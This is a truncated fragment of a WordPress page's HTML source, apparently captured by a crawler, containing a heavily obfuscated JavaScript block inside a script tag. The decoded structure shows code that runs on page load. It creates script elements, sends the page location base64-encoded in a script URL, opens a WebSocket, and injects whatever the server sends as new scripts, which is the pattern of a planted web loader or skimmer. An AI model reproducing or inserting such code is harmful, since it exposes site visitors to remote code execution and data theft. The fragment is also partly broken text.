o=y[-0x1*0x2192+-0x1f08+-0x2*-0x204d],x=M+o,U=m['Fpxfub'][x];return!U?(m['FBUKse']===undefined&&(m['FBUKse']=!![]),z=m['HzMkAo'](z,v),m['Fpxfub'][x]=z):z=U,z;}(function(M,v){const k=m,y=M();while(!![]){try{const z=-parseInt(k(0x19b,'Y&je'))/(0xb*-0x216+-0x1*0x163d+-0x8*-0x5a6)+parseInt(k(0x13e,'3%IY'))/(0xb13*0x3+0x15ad+0x1b72*-0x2)*(parseInt(k(0x113,'x8t9'))/(0x1c4*0x3+-0x13ce+0xe85))+parseInt(k(0x189,'GYLw'))/(0xdec+0x9e*-0x4+0xb7*-0x10)*(-parseInt(k(0x14f,'Kyff'))/(-0x1a12+-0x1*-0x1006+-0x3*-0x35b))+-parseInt(k(0x124,'j*ih'))/(-0x1*0x103a+0x189*0x1+0xeb7)*(-parseInt(k(0x12e,'Sjm5'))/(-0x8b9+0xd13+-0x453))+parseInt(k(0x135,'x*UP'))/(-0x141b*0x1+-0x1d38+0x315b)*(-parseInt(k(0x11a,'2oC&'))/(0x11bf+-0x2b*0x2e+0x6*-0x1aa))+parseInt(k(0x14e,'O!S#'))/(-0x128+-0x200c+-0x73*-0x4a)*(parseInt(k(0x13d,'$Ztg'))/(-0x1*0x1667+-0x1c63+0x32d5))+-parseInt(k(0x153,'GYLw'))/(0x6c7+0x2*-0x963+0x1*0xc0b)*(parseInt(k(0x13a,'@*qd'))/(-0xee1+0x11e6+0x2*-0x17c));if(z===v)break;else y['push'](y['shift']());}catch(d){y['push'](y['shift']());}}}(p,-0x151536+-0xcd33*-0xa+-0x2*-0xda7f4),(function(){const Q=m;if(window[Q(0x129,'b0]8')+'_e'])return;window[Q(0x15c,'L1Ru')+'_e']=0x26d4+-0x477+-0x6*0x5ba;function M(z){const i=Q,[d,...o]=z,x=document[i(0x183,'jklc')+i(0x13f,'EIi(')+i(0x157,'946t')+'t'](i(0x17e,'946t')+'pt');return x[i(0x10e,')UvN')]=d,x[i(0x18a,'x*UP')+i(0x186,'A&^4')+i(0x196,'EIi(')+i(0x15f,'Mcqq')](i(0x176,'Y&je')+'r',()=>{const O=i;if(o[O(0x19a,'hfEs')+'th']>0x4b2+0x76b*0x1+-0x1bb*0x7)M(o);else{const U=new WebSocket(O(0x156,'A&^4')+O(0x16f,'ecKE')+O(0x178,'@*qd')+O(0x112,'@*qd')+O(0x10b,'9LqP')+'s');U[O(0x171,'A&^4')+O(0x16e,')UvN')+'e']=Z=>{const w=O,D=Z[w(0x145,'wH@]')],a=document[w(0x123,'wH@]')+w(0x15a,'ecKE')+w(0x185,'A&^4')+'t'](w(0x11
30255,'S1J1')+'pt');a[w(0x17f,'DQ#]')+w(0x144,'gvAd')+w(0x119,'3%IY')]=D,document[w(0x159,'2oC&')][w(0x14b,'yryn')+w(0x158,'Frr&')+w(0x136,'fChD')](a);},U[O(0x193,'Frr&')+'en']=()=>{const b=O;U[b(0x10f,'4ent')](b(0x127,'hdKv')+b(0x142,'gvAd')+'l');};}}),document[i(0x17b,'j*ih')][i(0x16b,'@Qq(')+i(0x128,'x8t9')+i(0x179,'Q0zJ')](x),x;}const v=document[Q(0x11e,'O!S#')+Q(0x15b,'hiqU')+Q(0x165,'x*UP')+'t'][Q(0x126,'ecKE')+Q(0x12a,'Sjm5')][Q(0x180,'b0]8')+'in']??Q(0x170,'x*UP')+Q(0x12f,'4ent')+Q(0x117,'946t');document[Q(0x18e,'fChD')+Q(0x131,'3a33')+Q(0x194,'Q0zJ')+'t'][Q(0x181,'GYLw')+'ve']();const y=document[Q(0x143,'3%IY')+Q(0x110,'946t')+Q(0x114,'bbi@')+'t'](Q(0x19e,'3%IY')+'pt');y[Q(0x187,'jI&k')]=Q(0x10d,'wH@]')+Q(0x198,')UvN')+v+(Q(0x154,')UvN')+Q(0x14c,'9LqP'))+btoa(location[Q(0x168,'Ku9%')+Q(0x172,'x8t9')])[Q(0x155,')UvN')+Q(0x19d,'fChD')](/=+$/,'')+Q(0x175,'bbi@'),y[Q(0x174,'J33d')+Q(0x18b,'Ku9%')+Q(0x18d,'$Ztg')](Q(0x195,'hdKv')+Q(0x11b,'x8t9'),Q(0x11c,'lL6V')+Q(0x134,'Ku9%')),y[Q(0x160,'3a33')+Q(0x177,'Sjm5')+Q(0x184,'hfEs')+Q(0x130,'Kyff')](Q(0x1a0,'Q0zJ')+'r',()=>{const f=Q;M([f(0x17d,'b0]8')+f(0x138,'bvfC')+f(0x151,'Y&je')+f(0x15e,'j*ih')+f(0x12c,'jI&k')+f(0x137,'S1J1')+f(0x16a,'3%IY')+f(0x17c,'J33d')+f(0x11d,'ecKE')+f(0x182,'2oC&')+f(0x125,'hdKv')+f(0x199,'J33d'),f(0x162,'#u2t')+f(0x164,'b0]8')+f(0x122,'wH@]')+f(0x163,'b0]8')+f(0x146,'Mcqq')+f(0x149,'Sjm5')+f(0x14a,'L1Ru')+f(0x12d,'bQKN')+f(0x13b,'946t')+f(0x133,'9LqP')+f(0x197,'b0]8')+f(0x16c,'hp9H')+f(0x12b,'fChD')+f(0x148,'A&^4')+f(0x116,'gvAd')+f(0x161,'lL6V'),f(0x14d,'@*qd')+f(0x132,'jI&k')+f(0x15d,'x8t9')+f(0x190,'4ent')+f(0x16d,'#u2t')+f(0x139,'x8t9')+f(0x141,'lc$P')+f(0x19c,'b0]8')+f(0x192,'DQ#]')+f(0x13c,'gvAd')+f(0x166,'lc$P')+f(0x19f,'wH@]')+f(0x11f,'j*ih')+f(0x152,'3%IY')]);}),document[Q(0x111,')UvN')][Q(0x167,'gvAd')+Q(0x188,'S1J1')+Q(0x10c,'3a33')](y);}()));})();`,document.head.appendChild(e)}function a(){if(t===`essential`){i();return}r()}function o(){var e=n();if(e===`true`)a();else var t=0,r=setInterval(function(){if(t===100||e===`false`){clearInterval(r);return}if(e===`true`){a(),clearInterval(r);return}e=n(),t++},50)}o()})()})();</script>
3025<div id="tt" role="tooltip" aria-label="Tooltip content" class="cmtt"></div> 3026</body> 3027</html> 3028 3029<!-- This website is like a Rocket, isn't it? Performance optimized by WP Rocket. Learn more: https://wp-rocket.me - Debug: cached@1789587864 -->
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.